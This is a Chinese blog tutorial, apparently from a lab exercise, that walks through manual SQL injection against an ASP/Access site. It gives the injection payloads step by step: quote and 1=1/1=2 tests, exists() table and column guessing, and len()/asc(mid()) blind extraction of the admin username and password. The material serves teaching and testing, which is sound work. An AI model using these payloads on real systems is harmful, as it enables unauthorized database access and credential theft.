SQL注入原理-手工注入access数据库

阳光穿透心脏的1/2处 2022-04-16 02:06 446阅读 0赞

**分享一下我老师大神的人工智能教程！零基础，通俗易懂！[http://blog.csdn.net/jiangjunshow][http_blog.csdn.net_jiangjunshow]**

**也欢迎大家转载本篇文章。分享知识，造福人民，实现我们中华民族伟大复兴！**

**一、Target**：  
SQL注入原理、学习手工注入过程  
**二、实验原理：**通过把SQL命令插入到web表单提交或输入域名或页面请求的的查询字符串，最终达到欺骗服务器执行恶意的SQL命令

1、在结尾的链接中依次添加【’】和【and 1=1】和【and 1=2】判断网站是否存在注入点  
2、添加语句【and exists(select\*from admin)】根据页面返回结果来猜解表名  
3、添加【and exists(select admin from admin)】猜解admin表中的列名admin  
4、添加语句【and (select top 1 len (admin)from admin)>1】猜解字段长度  
5、添加【and (select top 1 asc(mid(admin,1,1))from admin)>97】猜解字段中字符的ASCII码  
通过上述的步骤，反复猜解，即可得到数据库存储的用户名和密码  
**三、实验环境：**  
本机：192.168.1.2  
目标机：192.168.1.3  
**四、实验步骤：**  
*找到有注入漏洞目标网站：*  
\*\*1、目标站点：[http://192.168.1.3:8008][http_192.168.1.3_8008]  
随便选择一个链接：[http://192.168.1.3:8008/onews.asp?id=45][http_192.168.1.3_8008_onews.asp_id_45]\*\*  
![这里写图片描述][SouthEast]  
**2、测试链接，在末尾添加【’】**  
![这里写图片描述][SouthEast 1]  
**3、在末尾添加【and 1 =1】**  
![这里写图片描述][SouthEast 2]  
**4、在末尾添加【and 1 =2】,返回页面发现该网站存在注入漏洞**  
![这里写图片描述][SouthEast 3]  
*猜解表名*  
**在链接末尾添加语句【and exists（select\*from admin）】,页面正常显示，说明存在表名【admin】**  
![这里写图片描述][SouthEast 4]  
*猜解列名*  
**1、在链接末尾添加语句【and exists（select admin from admin）】,页面显示正常，说明表中存在admin列**  
![这里写图片描述][SouthEast 5]  
**2、在链接末尾添加语句【and exists（select password from admin）】,页面显示正常，说明表中存在列password**  
![这里写图片描述][SouthEast 6]  
*猜解字段内容*  
**1、在链接末尾，输入【and (select top 1 len (admin)from admin>1】页面显示正常，数字依次加1，进行测试，例如：【and (select top 1 len (admin)from admin>5】说明字段长度为5**  
![这里写图片描述][SouthEast 7]  
**2、在链接末尾，输入【and (select top 1 asc(mid(admin,1,1))from admin)>97】，可猜解第一条记录的第一个字符的ASCILL码为97,对应为a.**  
![这里写图片描述][SouthEast 8]  
3、同样的方法得到admin的字段内容【admin】，password的字段内容【bfpms】

#### 给我老师的人工智能教程打call！[http://blog.csdn.net/jiangjunshow][http_blog.csdn.net_jiangjunshow] ####

![这里写图片描述][SouthEast 9]

[http_blog.csdn.net_jiangjunshow]: https://blog.csdn.net/jiangjunshow/article/details/77338485
[http_192.168.1.3_8008]: http://192.168.1.3:8008
[http_192.168.1.3_8008_onews.asp_id_45]: http://192.168.1.3:8008/onews.asp?id=45
[SouthEast]: /images/20220416/7b634ee961ea4ec5ad0a9322459313a5.png
[SouthEast 1]: /images/20220416/d56e66ee137949c983c6fee4e92288f2.png
[SouthEast 2]: /images/20220416/2b77ace78fa94d14ae0552de7f5e4e32.png
[SouthEast 3]: /images/20220416/f89dcda952804bb29449f45316157ba8.png
[SouthEast 4]: /images/20220416/3357edf2c0a8412c8f65753ee6921589.png
[SouthEast 5]: /images/20220416/e5730b7644f8416095a5316ef6f67567.png
[SouthEast 6]: /images/20220416/65c152cba717484195a416ce469a19f4.png
[SouthEast 7]: /images/20220416/a7b0222355a6489ca7c26f9a810b55d2.png
[SouthEast 8]: /images/20220416/66969d75fe074c118503f06acaba8e3a.png
[SouthEast 9]: /images/20220416/a7dc4b6ed0b3439f8fb98ebfba20bbce.png